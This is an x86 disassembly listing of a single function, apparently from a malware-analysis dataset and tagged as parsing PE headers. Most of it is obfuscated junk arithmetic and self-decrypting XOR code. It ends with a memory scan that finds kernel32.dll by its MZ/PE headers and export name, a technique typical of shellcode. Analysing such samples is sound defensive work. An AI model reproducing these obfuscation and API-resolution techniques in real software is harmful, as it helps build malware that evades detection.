Function at 0x42f0e9
Capabilities:
Parse pe header

Disassembly:
push esi
push esi
mov eax, dword [esp + 8]
add esp, 0xc
push eax
sub dword [esp], 0x17
pop eax
xor ecx, 0x2020030e
push 8
pop ecx
mov dword [eax], ecx
add esp, 4
mov eax, dword [esp - 4]
push edx
add esp, 4
pop ecx
push ebx
push ebx
add esp, 4
mov dword [esp], eax
push ebx
add esp, 4
pop eax
push esi
push edx
pop edx
push esi
push edi
add esp, 4
add esp, 4
push esi
mov esi, 0x208a3006
add esi, 0x4dade3f2
add ebx, esi
pop esi
push esp
push ebx
mov ebx, 0x8a04046
sub ebx, 0x9a682c4e
sub dword [esp], ebx
pop ebx
mov dword [esp], ebx
mov ebx, esp
add ebx, 8
mov ebx, dword [ebx]
push 4
add ebx, dword [esp]
add esp, 4
push edx
pop edx
push edi
push edi
add esp, 4
mov dword [esp], 0x57cb320b
push eax
mov esi, dword [esp + 4]
add esp, 8
les ecx, [eax]
jmp 0x42ecf0
push ecx
push 0x747dc101
pop ecx
pop ecx
xor dword [ebx], esi
push eax
mov eax, 0x40e9ff07
pop eax
call fcn.0042ed2f
je 0x42ece9
add eax, edx
jne 0x42ed69
insb byte es:[edi], dx
sub ch, bh
mov ebx, dword [ebx]
sbb dl, byte [edi - 0x4e]
jne 0x42ed5b
arpl word [esi - 0x5bd8969], bp
cld
xchg ecx, eax
xor cl, byte [edx + 1]
test al, 0x3c
invalid
mov ebx, dword [esp + 4]
add esp, 8
sub esi, 0x4d554ee6
add esi, 0x4d554ee6
inc esi
push esi
dec dword [esp]
pop esi
push edx
push edx
add esp, 4
mov dword [esp], esi
push edx
mov edx, 0x20250118
sub edx, 0x2000bfc6
mov esi, edx
pop edx
push esi
push 0x244158
pop esi
xor dword [esp], esi
pop esi
add esp, 4
mov dword [ebx], esi
mov ebx, esp
mov ebx, dword [ebx]
add esp, 4
mov esi, dword [esp]
add esp, 4
push esi
mov esi, 0x20b83044
sub esi, 0xfe16fc51
sub dword [esp], esi
pop esi
push edx
push esi
pop edx
add edx, 0x22a133f3
mov esi, edx
pop edx
mov dword [esp - 4], esi
add esi, 0x5680596
push esp
sub esi, 0x5680596
mov dword [esp], esi
push edi
push ecx
pop ecx
mov dword [esp], ebx
mov ebx, esp
add ebx, 8
mov ebx, dword [ebx]
push ecx
push ecx
add esp, 4
mov dword [esp], edi
push ebx
push edi
pop edi
mov edi, esp
mov edi, dword [edi]
add esp, 4
push edi
mov edi, 0xca05800
sub edi, 0xca057f8
add dword [esp], edi
pop edi
push edi
push edi
pop edi
pop ebx
add esp, 4
mov edi, dword [esp - 4]
sub esi, 0x2c25699d
add esi, 0x2c25699d
inc esi
push esi
xor esi, 0x243a0fb6
dec esi
pop esi
dec esi
push edi
pop edi
push esi
push esi
add esp, 4
push ebx
mov ebx, 0x2254306
sub ebx, 0xe1f0ffa8
mov esi, ebx
pop ebx
push esi
mov esi, 0x8a80814
sub esi, 0x96faeb04
xor dword [esp], esi
pop esi
add esp, 4
jmp 0x42ee57
invalid
push esi
mov esi, 0x8af812b
pop esi
add dword [ebx], esi
call 0x42ee6c
jl 0x42ee6a
jge 0x42ee6a
call 0x3b4f559
jae 0x42ee71
jmp 0x42ee72
jmp 0x4fd738
ret
call 0x42ee83
sub bl, cl
mov byte [ebp - 0x1702a074], 0x74
xlatb
sub bl, byte [edi + 0x1b8bdc8b]
add esp, 4
sub ebx, 0xf7ddcfb0
sub ebx, 0x8223050
sub ebx, 0xfbcdb800
push eax
lea eax, [ebx]
sub eax, 0x4324800
xchg eax, ebx
pop eax
push 0x24
sub ebx, dword [esp]
add esp, 4
push ebx
push esi
pop esi
not ebx
push 0x20150050
mov ebx, dword [esp]
add esp, 4
sub ebx, 0xdfe5dff0
sub ebx, 0x201a2010
sub ebx, 0x20150047
push ebx
pop esi
add esp, 4
mov ebx, dword [esp - 4]
mov dword [ebx], esi
push esp
jmp 0x42eee3
mov ebx, dword [esp]
add esp, 4
push edi
mov ebx, dword [esp + 4]
add esp, 8
mov esi, dword [esp]
add esp, 4
pushal
call 0x42eefd
pop ebx
mov eax, 0x50031494
sub eax, 0x50031202
add eax, ebx
xor dword [eax], 0x78c9aed2
call 0x42f0e9
jmp 0x42f04d
call fcn.0042ef1a
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add ebx, 0x86abc981
add byte [ecx - 0x17], ah
cmpsb byte [esi], byte es:[edi]
add byte [eax], al
add byte [ebp - 0x75], dl
in al, dx
mov ebx, 0x77000000
add ebx, 0x10000
cmp ebx, 0x80000000
jne 0x42f104
mov ebx, 0xbff00000
call fcn.0042f148
cmp eax, 0
je 0x42f0f1
cmp word [ebx], 0x5a4d
jne 0x42f0f1
mov eax, dword [ebx + 0x3c]
add eax, ebx
cmp word [eax], 0x4550
jne 0x42f0f1
test byte [eax + 0x17], 0x20
je 0x42f0f1
mov eax, dword [eax + 0x78]
add eax, ebx
mov edx, dword [eax + 0xc]
add edx, ebx
cmp dword [edx], 0x4e52454b
jne 0x42f0f1
cmp dword [edx + 4], 0x32334c45
jne 0x42f0f1
mov eax, ebx
mov esp, ebp
pop ebp
ret